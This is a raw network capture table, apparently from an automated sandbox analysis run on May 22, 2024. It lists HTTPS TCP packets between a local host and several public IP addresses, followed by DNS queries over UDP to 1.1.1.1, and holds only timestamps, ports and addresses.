May 22, 2024 20:02:17.923666000 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.923824072 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.923840046 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.924940109 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.924995899 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.925005913 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.925169945 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:17.925223112 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.925384998 CEST	59922	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:17.925399065 CEST	443	59922	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.065392971 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.066176891 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.066196918 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.066323042 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.066338062 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.066381931 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.066870928 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.067953110 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.068001032 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.068007946 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.069206953 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.069226027 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.069252968 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.069257975 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.069262981 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.069289923 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.069968939 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.070019007 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.070024014 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.070072889 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.070113897 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.070180893 CEST	59923	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.070195913 CEST	443	59923	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.110574961 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.115598917 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.115668058 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.115689039 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.115766048 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.115905046 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.115912914 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.131186962 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.131839991 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.131849051 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.140247107 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.140328884 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.140346050 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.147221088 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.147293091 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.147351980 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.147360086 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.147469044 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.443384886 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.444938898 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.444977999 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.445029020 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.445049047 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.445189953 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.445794106 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.446635962 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.446671963 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.446698904 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.446707010 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.446748018 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.446755886 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.450002909 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.450040102 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.450072050 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.450078964 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.450126886 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.450134039 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.460161924 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.460263014 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.460269928 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.460973978 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.461227894 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.461234093 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.462079048 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.462157965 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.462181091 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.462188005 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.462423086 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.464354038 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.464493990 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.464823961 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.464829922 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.515326977 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.766571045 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.767568111 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.767945051 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.767965078 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.768595934 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.768668890 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.768718958 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.768729925 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.768973112 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.769660950 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.770977020 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.771724939 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.771733046 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.771806002 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.772645950 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.772735119 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.773514986 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.773607969 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.774940014 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.775085926 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.777923107 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.778074026 CEST	443	59924	188.114.96.3	192.168.2.17
May 22, 2024 20:02:18.778119087 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.778153896 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.778153896 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:18.778399944 CEST	59924	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:19.648968935 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:19.649266005 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:19.649347067 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:19.649405003 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:19.649405956 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:19.649446011 CEST	443	59925	188.114.97.3	192.168.2.17
May 22, 2024 20:02:19.649508953 CEST	59925	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:27.600078106 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:27.600146055 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:27.600244999 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:27.600549936 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:27.600580931 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:28.090780020 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:28.091106892 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:28.091125011 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:28.093020916 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:28.093302011 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:28.093470097 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:28.093508005 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:28.138495922 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:28.141324043 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:29.217741966 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:29.217987061 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:29.218321085 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:29.218321085 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:29.218394041 CEST	443	59926	188.114.97.3	192.168.2.17
May 22, 2024 20:02:29.218496084 CEST	59926	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:31.127511024 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:31.127552986 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:31.127639055 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:31.127872944 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:31.127887964 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:31.720472097 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:31.720520973 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:31.720612049 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:31.761215925 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:31.761295080 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:31.996759892 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:31.996846914 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:31.998981953 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:31.998996973 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:31.999326944 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:31.999850988 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:31.999973059 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:32.000005960 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.440546036 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.440614939 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.440671921 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.440692902 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:32.440713882 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.440736055 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:32.440843105 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.440920115 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:32.441023111 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:32.441041946 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.441055059 CEST	59927	443	192.168.2.17	40.126.32.134
May 22, 2024 20:02:32.441063881 CEST	443	59927	40.126.32.134	192.168.2.17
May 22, 2024 20:02:32.457098961 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:32.457350016 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:32.461302996 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:32.461333036 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:32.461641073 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:32.504003048 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:32.510386944 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:32.510425091 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:32.510514975 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:32.512171984 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:32.512188911 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:32.550487041 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:32.603008032 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:32.607085943 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:32.607182026 CEST	443	59928	13.107.5.88	192.168.2.17
May 22, 2024 20:02:32.607491970 CEST	59928	443	192.168.2.17	13.107.5.88
May 22, 2024 20:02:33.249646902 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.249742031 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.318460941 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.318486929 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.319463015 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.319525957 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.321207047 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.321268082 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.606983900 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.607141972 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.607155085 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.607225895 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.611614943 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.611696005 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.611701965 CEST	443	59929	2.23.209.182	192.168.2.17
May 22, 2024 20:02:33.611732960 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:33.611767054 CEST	59929	443	192.168.2.17	2.23.209.182
May 22, 2024 20:02:38.105084896 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:38.105117083 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:38.105226040 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:38.105449915 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:38.105482101 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:38.732131004 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:38.732480049 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:38.732541084 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:38.733689070 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:38.733967066 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:38.734128952 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:38.734146118 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:38.734170914 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:38.788276911 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:39.898519993 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:39.898632050 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:39.898936033 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:39.899800062 CEST	59931	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:39.899838924 CEST	443	59931	188.114.97.3	192.168.2.17
May 22, 2024 20:02:42.492358923 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:42.492398977 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:42.492660999 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:42.492660999 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:42.492688894 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:43.146212101 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:43.148793936 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:43.148813009 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:43.149262905 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:43.150135994 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:43.150218964 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:43.194281101 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:47.094511032 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.094531059 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.094798088 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.094913006 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.094926119 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.606187105 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.606504917 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.606517076 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.607453108 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.607522011 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.607777119 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.607829094 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.607893944 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.607907057 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.661257029 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.745748997 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.745966911 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.745996952 CEST	443	59933	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.746053934 CEST	59933	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.746422052 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.746444941 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:47.746514082 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.746678114 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:47.746686935 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.219650030 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.220012903 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.220033884 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.220913887 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.220983982 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.221455097 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.221508026 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.221564054 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.262501955 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.269282103 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.269295931 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.317390919 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.403879881 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.404809952 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.404850960 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.404974937 CEST	443	59934	35.190.80.1	192.168.2.17
May 22, 2024 20:02:48.405031919 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:48.405033112 CEST	59934	443	192.168.2.17	35.190.80.1
May 22, 2024 20:02:53.066476107 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:53.066664934 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:53.066776991 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:54.068794966 CEST	59932	443	192.168.2.17	172.217.16.196
May 22, 2024 20:02:54.068805933 CEST	443	59932	172.217.16.196	192.168.2.17
May 22, 2024 20:02:59.917686939 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:59.917762995 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:02:59.917968035 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:59.918245077 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:59.918272018 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:00.482903957 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:00.483321905 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:00.483357906 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:00.484471083 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:00.484797001 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:00.484930992 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:00.484988928 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:00.526510000 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:00.538387060 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:01.661724091 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:01.661972046 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:01.662060022 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:01.662087917 CEST	443	59935	188.114.97.3	192.168.2.17
May 22, 2024 20:03:01.662112951 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:01.662151098 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:01.662175894 CEST	59935	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:21.692825079 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:21.692848921 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:21.693052053 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:21.693218946 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:21.693226099 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:22.256428957 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:22.256876945 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:22.256890059 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:22.257997990 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:22.258407116 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:22.258608103 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:22.258682966 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:22.306498051 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:23.432049036 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:23.432307005 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:23.432327032 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:23.432352066 CEST	443	59937	188.114.97.3	192.168.2.17
May 22, 2024 20:03:23.432364941 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:23.432389021 CEST	59937	443	192.168.2.17	188.114.97.3
May 22, 2024 20:03:23.432409048 CEST	59937	443	192.168.2.17	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 20:01:37.800353050 CEST	60635	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:37.800559998 CEST	63775	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:37.812885046 CEST	53	61338	1.1.1.1	192.168.2.17
May 22, 2024 20:01:37.818099022 CEST	53	60635	1.1.1.1	192.168.2.17
May 22, 2024 20:01:37.818114996 CEST	53	63775	1.1.1.1	192.168.2.17
May 22, 2024 20:01:37.838613033 CEST	53	61688	1.1.1.1	192.168.2.17
May 22, 2024 20:01:38.879117966 CEST	53	64372	1.1.1.1	192.168.2.17
May 22, 2024 20:01:41.322278023 CEST	59915	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:41.322448969 CEST	54962	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:41.323163986 CEST	54209	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:41.323309898 CEST	52460	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:41.414602995 CEST	53	59915	1.1.1.1	192.168.2.17
May 22, 2024 20:01:41.414622068 CEST	53	52460	1.1.1.1	192.168.2.17
May 22, 2024 20:01:41.414632082 CEST	53	54209	1.1.1.1	192.168.2.17
May 22, 2024 20:01:41.414640903 CEST	53	54962	1.1.1.1	192.168.2.17
May 22, 2024 20:01:42.439563036 CEST	64566	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:42.439739943 CEST	57079	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:42.446710110 CEST	53	64566	1.1.1.1	192.168.2.17
May 22, 2024 20:01:42.468835115 CEST	53	57079	1.1.1.1	192.168.2.17
May 22, 2024 20:01:42.989492893 CEST	62988	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:42.989667892 CEST	61737	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:43.001609087 CEST	53	61737	1.1.1.1	192.168.2.17
May 22, 2024 20:01:43.001620054 CEST	53	62988	1.1.1.1	192.168.2.17
May 22, 2024 20:01:43.940696955 CEST	53	61333	1.1.1.1	192.168.2.17
May 22, 2024 20:01:44.587524891 CEST	58154	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:44.587723970 CEST	51884	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:44.598885059 CEST	53	58154	1.1.1.1	192.168.2.17
